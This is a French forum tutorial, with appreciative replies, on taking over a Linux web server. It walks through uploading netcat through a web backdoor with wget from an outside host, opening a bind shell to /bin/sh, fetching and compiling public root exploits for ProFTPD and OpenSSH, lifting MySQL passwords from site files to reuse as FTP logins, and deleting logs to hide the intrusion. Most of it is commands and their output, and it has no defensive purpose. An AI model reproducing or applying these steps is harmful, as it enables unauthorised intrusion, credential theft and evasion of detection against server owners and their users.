Annonce

Réduire
Aucune annonce.

Attaque server

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Attaque server

    Le principe étant d'obtenir le privilège root sur le serveur.

    Obtenir un shell :

    I. Téléchargez netcat.

    II. Maintenant 2 facons d'uploader (déposer) nc sur le serveur cible :


    1ere méthode :

    - téléchargez sur votre ordinateur le nc deja compilé ;
    - allez sur : http://www.site-cible.com/index.php?...votre_backdoor

    et uploadez netcat compilé dans un repertoire du genre :

    Code:
    /tmp/nc


    2eme méthode :

    - allez sur : http://www.site-cible.com/index.php?...votre_backdoor
    - puis tapez dans votre terminal la commande suivante :

    Code:
    cd /tmp; wget http://splitcrew.free.fr/dl/dressupsx/nc
    Si tout ce passe bien, la présence du fichier nc avec la cmd "ls /tmp/" confirmera la réussite de l'upload.

    Une fois nc uploadé, il faut pouvoir le mettre en écoute pour pouvoir se connecter dessus, alors tout d'abord il faut lui attribuer les permissions suffisantes :

    Allez avec votre backdoor, chmoder nc en 0777.

    Maintenant que nous avons tout pour se connecter, nous devons mettre en ecoute nc.


    III. Pour ceci il suffit de faire :

    Code:
    /tmp/nc -l -p 15000 -e /bin/sh&&
    Ceci ouvrira le port 15000 sur la machine distante.

    Maintenant il suffit de nous connecter sur le serveur grace a netcat encore une fois.

    Tapez la commande :

    Code:
    nc -vvvv www.site-cible.com 15000
    Vous l'aurez compris on se connecte via le port ouvert précédement.

    Vous avez désormais un shell

    Je vous conseille de changer de port à chaque session sur la machine distante pour une question de prudence...

    Explication pour les novices :

    Voici une petite explication sur la commande :

    Code:
    /tmp/nc -l -p 15000 -e /bin/sh&&
    -l : permet de mettre nc en écoute d'une éventuelle connexion sur un port ;

    -p : définit un port pour la connexion sur nc (ici c'est le port 15000, qui peut être modifié) ;

    -e : permet de rediriger les entrées et sorties d'un programme vers un socket ;

    /bin/sh : on definit sur quel socket on veut se rediriger, pour notre cas on veut un shell bash ;

    && : permet de lancer toute cette commande en tâche de fond ;

    Obtenir les privileges root :

    Alors pour devenir root sur un serveur, il existe des petit programmes qui vont exploiter une faille d'un programme sur le serveur par exemple FTP, mail ou Apache. Pour obtenir le droit root, il faut trouver un exploit qui fonctionne...

    Tout d'abord on regarde sur quel OS on est :

    Code:
    <[email protected]:/tmp/>cat /etc/redhat-release
    Red Hat Linux release 7.3 (Valhalla)

    Cherchons la version du Kernel :

    Code:
    <[email protected]:/tmp/>uname -a
    Linux FRIH30118439-01 2.4.18-27.7.xsmp #1 SMP Fri Mar 14 05:52:30 EST 2003 i686

    => Ici le noyau est donc : 2.4.18

    Regardons ensuite ce qui tourne sur la machine (j'ai effacé une partie du ps ; trop long) :

    Code:
    <[email protected]:/tmp/>ps aux
    named 745 0.0 0.3 13772 3244 ? S Oct15 0:00 [named]
    named 765 0.0 0.3 13772 3244 ? S Oct15 0:05 [named]
    root 770 0.0 0.1 2576 1212 ? S Oct15 0:07 /usr/sbin/sshd
    root 791 0.0 0.0 2032 880 ? S Oct15 0:24 xinetd -stayalive
    root 811 0.0 0.1 2372 1156 ? S Oct15 0:00 /bin/sh /usr/bin/
    mysql 851 0.0 1.3 31416 14124 ? S Oct15 0:07 [mysqld]
    mysql 854 0.0 1.3 31416 14124 ? S Oct15 0:12 [mysqld]
    root 867 0.0 0.1 4548 1616 ? S Oct15 0:35 sendmail: accepti
    root 875 0.0 0.1 2536 1648 ? S Oct15 8:07 /usr/local/EMPsys
    root 892 0.0 0.0 1484 656 ? S Oct15 0:02 crond
    daemon 917 0.0 0.0 1348 544 ? S Oct15 0:00 [atd]
    root 968 0.0 0.3 6332 3940 ? S Oct15 0:15 /usr/bin/perl /us
    root 977 0.0 0.0 1280 400 tty1 S Oct15 0:00 /sbin/mingetty tt
    root 978 0.0 0.0 1280 400 tty2 S Oct15 0:00 /sbin/mingetty tt
    nobody 2135 0.0 0.1 3332 1284 ? S Oct15 0:15 [proftpd]
    root 2143 0.0 0.8 80536 8260 ? S Oct15 0:58 /usr/local/apache
    apache 2144 0.0 1.9 90908 20108 ? S Oct15 7:10 [httpd]
    apache 2145 0.0 1.2 83708 12844 ? S Oct15 6:55 [httpd]
    apache 2146 0.0 1.1 82676 11896 ? S Oct15 6:49 [httpd]
    eggdrop 7593 0.0 0.1 3508 1984 ? S Oct16 1:24 ./eggdrop
    mysql 20076 0.2 1.3 31416 14124 ? S Oct22 9:29 [mysqld]
    mysql 20192 0.2 1.3 31416 14124 ? S Oct22 9:43 [mysqld]
    mysql 20198 0.1 1.3 31416 14124 ? S Oct22 7:54 [mysqld]
    559 14306 0.0 1.0 207916 10544 ? SN Oct23 0:00 /usr/lib/java/bin
    559 14310 0.0 5.1 214212 53168 ? SN Oct23 0:01 /usr/lib/java/bin
    559 14312 0.0 1.0 207916 10544 ? SN Oct23 0:00 /usr/lib/java/bin
    559 14332 0.0 5.1 214212 53168 ? SN Oct23 0:00 /usr/lib/java/bin
    559 14333 0.0 5.1 214212 53168 ? SN Oct23 0:00 /usr/lib/java/bin
    mysql 14334 0.0 1.3 31416 14124 ? S Oct23 0:00 [mysqld]
    apache 16444 0.0 0.0 108 16 ? T Oct24 0:00 [passwd]
    mysql 18252 0.2 1.3 31416 14124 ? S Oct24 2:42 [mysqld]
    mysql 18261 0.1 1.3 31416 14124 ? S Oct24 2:24 [mysqld]
    apache 28656 0.0 0.0 104 16 ? T Oct24 0:00 [passwd]
    apache 29145 0.0 0.0 100 12 ? T Oct24 0:00 [passwd]
    apache 3025 0.0 0.8 80836 9056 ? S 03:29 0:00 [httpd]
    apache 3273 0.0 0.0 1480 576 ? S 03:37 0:00 /tmp/houdini/nc -
    apache 3297 0.0 0.0 2172 972 ? S 03:39 0:00 sh
    apache 3305 0.0 0.8 80756 8808 ? S 03:39 0:00 [httpd]
    apache 3310 0.0 0.8 80692 8720 ? S 03:39 0:00 [httpd]
    apache 3346 0.0 0.0 2168 976 ? S 03:41 0:00 sh
    apache 3390 0.0 0.0 2184 992 ? S 03:42 0:00 sh -c /tmp/houdin
    apache 3391 0.0 0.0 1484 580 ? S 03:42 0:00 /tmp/houdini/nc -
    root 3412 0.4 0.2 4040 2388 ? S 03:44 0:04 [sshd]
    stc 3413 0.0 0.0 2308 732 ? S 03:44 0:00 scp -v -t /home/s
    apache 3487 0.0 0.0 1484 576 ? S 03:53 0:00 /tmp/houdini/nc -
    nxbp 3495 0.0 0.1 3664 1692 ? S 03:53 0:00 [proftpd]
    544 3505 0.0 0.1 3668 1692 ? S 03:53 0:00 [proftpd]
    apache 3515 0.0 0.0 2168 976 ? S 03:55 0:00 sh
    apache 3523 0.0 0.0 2180 988 ? S 03:58 0:00 sh -c /tmp/houdin
    apache 3524 0.0 0.0 1480 576 ? S 03:58 0:00 /tmp/houdini/nc -
    apache 3527 0.0 0.8 80536 8324 ? S 03:59 0:00 [httpd]
    nxbp 3539 0.0 0.1 3664 1680 ? S 04:00 0:00 [proftpd]
    544 3546 0.0 0.1 3664 1680 ? S 04:01 0:00 [proftpd]
    apache 3883 0.0 0.0 2168 964 ? S 04:02 0:00 sh
    Bon on va analyser un peu tout ça :

    Code:
    root 770 0.0 0.1 2576 1212 ? S Oct15 0:07 /usr/sbin/sshd
    => on remarque un serveur ssh

    Code:
    root 2143 0.0 0.8 80536 8260 ? S Oct15 0:58 /usr/local/apache
    => ici un server web apache

    Code:
    eggdrop 7593 0.0 0.1 3508 1984 ? S Oct16 1:24 ./eggdrop
    => ici un eggdrop

    Code:
    mysql 18252 0.2 1.3 31416 14124 ? S Oct24 2:42 [mysqld]
    => ici un server mysql

    Code:
    nxbp 3495 0.0 0.1 3664 1692 ? S 03:53 0:00 [proftpd]
    => et là un server FTP proftpd

    Bon, on connait en partie les services qui tournent donc on va pouvoir chercher des exploits en conséquence sur des sites comme :

    - http://securitydot.net/exploits/
    - http://www.security.nnov.ru/exploits/
    - http://exploits.ath.cx/?path=/About/

    Et beaucoup d'autres bien entendu...

    Ou tout simplement, on va chercher dans la mémoire... de notre cerveau

    Bon, on regarde redhat, la version 7.3

    Alors => local ou remote ?

    local = exploit utilisable directement sur la machine ;
    remote = exploit utilisable à distance ;

    On va prendre remote: proftpdr00t.c

    Alors on a un exploit pour proftpd,

    Donc comment l'exécuter ?

    D'abord mettons-le sur le serveur cible.

    Même s'il peut être exécuté à distance, allons dans notre répertoire :

    Code:
    <[email protected]:/>cd /tmp/
    Sur notre shell:

    Code:
    <[email protected]:/tmp/>wget http://darknet.co.nz/darknet.shadowx.info/Exploitz/OS/Linux/RedHat/7.3/Remote/proftpdr00t.c
    => `proftpdr00t.c'

    Code:
    Resolving darknet.co.nz... done.
    Connecting to darknet.co.nz[194.12.244.26]:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 20,280 [text/x-csrc]
    0K .......... ......... 100% 11.70 KB/s
    04:12:08 (11.70 KB/s) - `proftpdr00t.c' saved [20280/20280]
    `proftpdr00t.c' saved
    Voilà, on a téléchargé le fichier sur le serveur mais c'est un programe en C donc il faut le compiler.

    Evidemment on va utiliser le compilateur GCC :

    <[email protected]:/tmp/>gcc -o prof proftpdr00t.c
    <[email protected]:/tmp/>ls
    nc prof proftpdr00t.c


    Voilà ! Notre exécutable est prof, maintenant lançons-le en tapant :

    (Note : Il est possible aussi de le compiler sur votre machine et ensuite de l'uploader)

    Code:
    <[email protected]:/tmp/>./prof
    proftpd 1.2.7 - 1.2.9rc2 remote root exploit
    based on code by bkbll ([email protected])
    by Haggis ([email protected])
    Usage : ./prof -t host -l ip [options]

    Arguments :

    -t <host> host to attack
    -u <username> [anonymous]
    -p <password> [[email protected]]
    -l <local ip address> interface to bind to
    -s sleep for 10secs to allow GDB attach
    -U <path> specify upload path, eg. /incoming
    -P <port> port number of remote proftpd server
    -S <address> start at <address> when bruteforcing

    Coup de chance, il nous est expliqué comment utiliser l'exploit

    Code:
    <[email protected]:/tmp/>./prof -t host -l ip [options]
    host = notre cible
    IP = notre IP
    username = le user du FTP
    passwd = le mot de passe du FTP

    Il nous faut donc un login et un pass FTP, pour cela allons regarder les pass mysql des sites reliés au serveur cible car c'est souvent les mêmes que ceux du FTP.

    Pour connaître tous les sites du serveur, il faut regarder le fichier httpd.conf

    Donc :

    Code:
    <[email protected]:/tmp/>find / -name httpd.conf
    Plein de bêtises s'affichent sauf :

    Code:
    /usr/local/apache/conf/httpd.conf
    Alors, lisez ce fichier, soit vous y allez avec le shell, soit avec l'exploit explorer.

    Bon, là, on a toute la confg du serveur !

    Code:
    # sous-domaine http://WWW.SITE2.TV]WWW.SITE2.TV
    <VirtualHost 64.35.47.156:80>
    ServerName www.site2.tv
    ServerAdmin [email protected]
    DocumentRoot /home/webcrea3/htdocs/sites/st2/htdocs
    On voit que le site WWW.SITE2.TV est situé sur /home/webcrea3/htdocs/sites/st2/htdocs

    Allons faire un tour par là...

    Bon, on se ballade tranquillement dans les répertoire du site...

    On trouve un fichier contenant les pass SQL

    Code:
    $MySQL_Host="localhost";
    $MySQL_User="st2";
    $MySQL_Passw="looool";
    $db="moove";
    (On admettra pour l'exemple que les pass sont les même pour SQL et FTP)

    On va tester notre exploit :

    Revenons sur /tmp/ comme on est en local notre IP sera localhost et l'IP de la cible localhost aussi.

    Bon, allons y...

    Code:
    <[email protected]:/tmp/>./prof -t localhost -l localhost -u st2 looool
    proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit
    by Haggis ([email protected])
    [ Setting passive ]-[ Stack: 0xbfffef18 ]-[ RET: 0xbfffefe0 ]
    Et c'est parti, on va voir si on peut être root...

    Ensuite... on attend !

    Si ca ne marche pas, il faudra essayer un autre exploit.

    N'oubliez pas d'effacer les logs... !!!

    Conseils :

    Trier les logs en fonction de leur date, et les effacer en conséquence.

    Alors, l'exploit termine :

    Code:
    <[email protected]:/tmp/>./prof -t localhost -l localhost -u st2 looool
    proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit
    by Haggis ([email protected])
    [ Setting passive ]-[ Stack: 0xbffff4ec ]-[ RET: 0xbffff5b4 ]
    No r00t for you today I'm afraid.
    Ca n'a pas marché... donc on recherche un autre exploit :

    http://darknet.co.nz/darknet.shadowx...emote/l2kssh.c

    Voilà

    Code:
    <[email protected]:/tmp/>wget http://darknet.co.nz/darknet.shadowx.info/Exploitz/OS/Linux/RedHat/7.3/Remote/l2kssh.c
    Code:
    `l2kssh.c' saved
    On le compile avec GCC :

    Code:
    <[email protected]:/tmp/>gcc -o l2kssh 12kssh.c
    <[email protected]:/tmp/>ls
    l2kssh l2kssh.c nc prof proftpdr00t.c
    On le lance:

    Code:
    <[email protected]:/tmp/>./l2kssh -p 22 -r 0080e1c3 -t 3 62.50.131.40 -d bfff34c4
    (1) RH 7.1 x86 / OpenSSH_3.2.3p1, -496, 0080c31c
    (2) RH 7.2 x86 / OpenSSH_3.2.2p1, -496, 0080e1c3
    (3) RH 7.3 x86 / OpenSSH_3.1p1, -496, 0080e2c0
    (4) RH 8.0 x86 / OpenSSH_3.4p1, -496, 0080e1b8
    (5) SuSE 8.0 x86 / OpenSSH_3.1p1, -496, 0080e22c
    (6) Deb 3.0 x86 / OpenSSH_3.2.3p1, -496, 0080e14c
    (7) Mdk 8.1 x86 / OpenSSH_3.1p1, -496, 0080e428
    (8) FBSD 4.4 x86 / OpenSSH_3.1p1, -134, 0080a278
    (9) FBSD 4.4 x86 / OpenSSH_3.2.3p1, -134, 0080a21e
    (10) FBSD 4.5 x86 / OpenSSH_3.3, -134, 0080a25c
    (11) FBSD 4.5 x86 / OpenSSH_3.4p1, -134, 0080a1ce
    sh: line 56: 5337 Segmentation fault ./l2kssh
    Déjà le sh : "line 56 : 5337 Segmentation fault ./l2kssh" veut dire que l'exploit a peut-être une erreur, donc que la personne qui l'a codé...ne sait pas coder

    Ca arrive souvent, donc là il nous demande de choisir notre version.

    Bon, essayons 1, 2, 3, 4.

    Code:
    <[email protected]:/tmp/>./l2kssh -p 22 -r 0080e1c3 -t 3 62.50.131.40 -d bfff34c4 <= pour le choix n° 2 ( (2) RH 7.2 x86 / OpenSSH_3.2.2p1, -496, 0080e1c3 )
    On cherche des exploits sur apache ou mysql ou webmin.

    Regardez les versions :

    http://darknet.co.nz/darknet.shadowx...ploitz/Deamon/

    Et attaquez :

    A faire chez soi sur son ordinateur :

    Sendmail

    Code:
    COMMANDE: nc -vvvv www.site-cible.com 25 PORT: 25 = smtp VERSION: Sendmail 8.11.6/8.11.6;
    Apache

    Code:
    COMMANDE: nc -vvvv www.site-cible.com 80 PORT: 80 = http VERSION: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.6b PHP/4.3.3
    ProFTP

    Code:
    COMMANDE: locate proftp PORT: 21 = ftp VERSION: /usr/share/doc/proftpd-1.2.5
    cred:informatique-inside
    sigpic

    Cyprium Download Link

    Plus j'étudie plus j'me rends compte que je n'sais rien.

    †|

  • #2
    Merci , tuto très intéressant

    Commentaire


    • #3
      merci SAKA pour le tuto
      sigpic

      Commentaire


      • #4
        très bon tuto même moi j'ai tout compris !
        sigpic
        Notre Liberté Ne Doit Pas Être Limitée
        Pour Permettre A Une Minorité De S’enrichir

        Commentaire

        Chargement...
        X